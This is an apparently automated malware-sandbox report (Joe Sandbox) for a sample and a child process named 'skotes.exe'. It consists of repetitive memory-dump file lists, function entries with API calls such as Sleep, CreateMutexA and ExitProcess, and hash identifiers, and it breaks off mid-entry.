Associated: 00000000.00000002.1731198236.0000000000D54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731212586.0000000000D55000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: 9a875dc1284128e36b0628ac2d7539312cd1bf9e51e939fb6d3a0fdec8700949
Instruction ID: a1753e92361a927e8592560d6a04fdd539c0acede60f12e74e5ef52ba80eb9e9
Opcode Fuzzy Hash: 9a875dc1284128e36b0628ac2d7539312cd1bf9e51e939fb6d3a0fdec8700949
Instruction Fuzzy Hash: 12A1E376A01305DFDF20EF68C94579AB7B8FF95321F148229E815D7681EB31EA08CB91

Function 00A5BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00A5BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 00A5BBE4
_xtime_get.LIBCPMT ref: 00A5BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 00A5BC13

Memory Dump Source

Source File: 00000000.00000002.1729047978.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.1728970474.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729047978.0000000000AA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729340232.0000000000AA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729413723.0000000000AAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729461103.0000000000AB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729946468.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729971104.0000000000C12000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729997827.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730033777.0000000000C23000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730101461.0000000000C26000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730101461.0000000000C2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730532381.0000000000C60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730559841.0000000000C61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730631267.0000000000C69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730657924.0000000000C73000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730693060.0000000000C96000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730714643.0000000000C9B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730736279.0000000000C9C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730764104.0000000000CA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730781252.0000000000CA2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730794635.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730844610.0000000000CB0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730857984.0000000000CB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730874045.0000000000CB3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730890684.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730906799.0000000000CC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730920916.0000000000CC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730935879.0000000000CCB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730952711.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730976384.0000000000CDF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730991266.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731006499.0000000000CED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731020785.0000000000CEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731038868.0000000000D03000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731053794.0000000000D04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731053794.0000000000D11000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731094786.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731108634.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731121087.0000000000D3F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731138151.0000000000D43000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731150621.0000000000D45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731166776.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731181989.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731198236.0000000000D54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731212586.0000000000D55000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 2585c3e7638a82e04451e39d8b8071cb09f903c988b588f48eed61c500a61a53
Instruction ID: 4cc4e5870913dd200971c286ddfc068d099413ecc5b2d9f997d6c48f7cd50758
Opcode Fuzzy Hash: 2585c3e7638a82e04451e39d8b8071cb09f903c988b588f48eed61c500a61a53
Instruction Fuzzy Hash: 45213171A00219AFDF00EFA4DD819BEB7B9FF08721F510069F901B7251DB749E499BA1

Analysis Process: skotes.exePID: 7732, Parent PID: 7540COMMON

Execution Graph

Execution Coverage:	1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1875
Total number of Limit Nodes:	9

Executed Functions

Function 0093652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,0093652A,?,?,?,?,?,00937661), ref: 00936567

Memory Dump Source

Source File: 00000001.00000002.1752706056.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000001.00000002.1752690424.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752706056.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752750941.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752762881.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752776950.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752860458.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752873935.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752888686.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752900361.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752913275.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752913275.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752950244.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752962070.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752974982.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753008832.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753028340.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753040993.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753055850.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753071756.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753085107.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753097193.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753110275.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753122053.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753136172.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753165800.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753178680.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753252508.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756499496.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757107416.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757196877.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757216675.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757235897.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757251913.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757273048.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757287305.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757287305.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757324320.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757339812.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757356090.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757378123.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757397758.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757416642.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757430003.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757447419.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757466355.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: ac394345df939ab73e317e55135748cb3c58a488e4feab54c8fbda15b28224b4
Instruction ID: a739388538bc23a899ccf7ed02224db86dbddbd771e0c5f8e7ca2f537a3fff16
Opcode Fuzzy Hash: ac394345df939ab73e317e55135748cb3c58a488e4feab54c8fbda15b28224b4
Instruction Fuzzy Hash: B7E08C30140208BECF39BB28C80DE593B6DEB91741F118820F91946232CB65EE81CA80

Function 00909BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0090A963
CreateMutexA.KERNELBASE(00000000,00000000,00963254), ref: 0090A981

Strings

t, xrefs: 0090A998

Memory Dump Source

Source File: 00000001.00000002.1752706056.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000001.00000002.1752690424.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752706056.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752750941.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752762881.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752776950.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752860458.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752873935.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752888686.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752900361.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752913275.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752913275.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752950244.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752962070.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752974982.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753008832.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753028340.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753040993.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753055850.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753071756.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753085107.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753097193.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753110275.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753122053.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753136172.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753165800.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753178680.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753252508.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756499496.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757107416.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757196877.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757216675.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757235897.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757251913.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757273048.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757287305.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757287305.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757324320.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757339812.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757356090.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757378123.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757397758.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757416642.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757430003.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757447419.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757466355.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: t
API String ID: 1464230837-1277788948
Opcode ID: 5eeaaceafe01c05a796e25ca076c3a50f43cdaf2cb30b8eb297c850bcb1da504
Instruction ID: dcc6e4e95822ec9d53bf53df9e77b0cd9bac557749648361666f8e6ea38f4c3c
Opcode Fuzzy Hash: 5eeaaceafe01c05a796e25ca076c3a50f43cdaf2cb30b8eb297c850bcb1da504
Instruction Fuzzy Hash: F0313B71B042049FEB18DB78DC89BADBBB6DBD6320F248618E464973D6C77649808791

Function 00909F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0090A963
CreateMutexA.KERNELBASE(00000000,00000000,00963254), ref: 0090A981

Strings

t, xrefs: 0090A998

Memory Dump Source

Source File: 00000001.00000002.1752706056.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000001.00000002.1752690424.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752706056.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752750941.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752762881.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752776950.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752860458.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752873935.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752888686.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752900361.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752913275.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752913275.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752950244.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752962070.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752974982.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753008832.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753028340.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753040993.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753055850.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753071756.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753085107.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753097193.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753110275.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753122053.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753136172.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753165800.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753178680.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753252508.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756499496.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757107416.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757196877.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757216675.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757235897.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757251913.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757273048.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757287305.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757287305.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757324320.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757339812.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757356090.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757378123.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757397758.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757416642.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757430003.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757447419.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757466355.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: t
API String ID: 1464230837-1277788948
Opcode ID: ae3f0e061cd530bbba1ac337670bb43ba03d1df97b5e77b75e53820a846bb8e5
Instruction ID: 9d8d7c53074a551e06880f8baa652aabc7004fdd089f506d18ac6838e72ec5bf
Opcode Fuzzy Hash: ae3f0e061cd530bbba1ac337670bb43ba03d1df97b5e77b75e53820a846bb8e5
Instruction Fuzzy Hash: 68316D317042059FEB1CDB78DC99BADB7B6EBC6320F248618E464E72D5C77649808792

Function 0090A079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0090A963
CreateMutexA.KERNELBASE(00000000,00000000,00963254), ref: 0090A981

Strings

t, xrefs: 0090A998

Memory Dump Source

Source File: 00000001.00000002.1752706056.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000001.00000002.1752690424.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752706056.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752750941.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752762881.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752776950.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752860458.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752873935.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752888686.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752900361.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752913275.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752913275.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752950244.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752962070.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752974982.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753008832.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753028340.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753040993.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753055850.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753071756.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753085107.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753097193.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753110275.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753122053.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753136172.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753165800.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753178680.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753252508.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756499496.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757107416.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757196877.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757216675.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757235897.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757251913.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757273048.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757287305.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757287305.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757324320.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757339812.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757356090.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757378123.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757397758.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757416642.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757430003.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757447419.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757466355.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: t
API String ID: 1464230837-1277788948
Opcode ID: 12147c710ab46bf874ca4f47a71e91e50ef77a6221aeaca885b779306858797e
Instruction ID: 930de50595bfd39eeac7a1760ecdceea00798f14a093d5f763df9d30dd30c29a
Opcode Fuzzy Hash: 12147c710ab46bf874ca4f47a71e91e50ef77a6221aeaca885b779306858797e
Instruction Fuzzy Hash: AA316B317143049FEB18DB78CC89BADB776DBC2320F248618E424D77D5C77699808B92

Function 0090A1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0090A963
CreateMutexA.KERNELBASE(00000000,00000000,00963254), ref: 0090A981

Strings

t, xrefs: 0090A998

Memory Dump Source

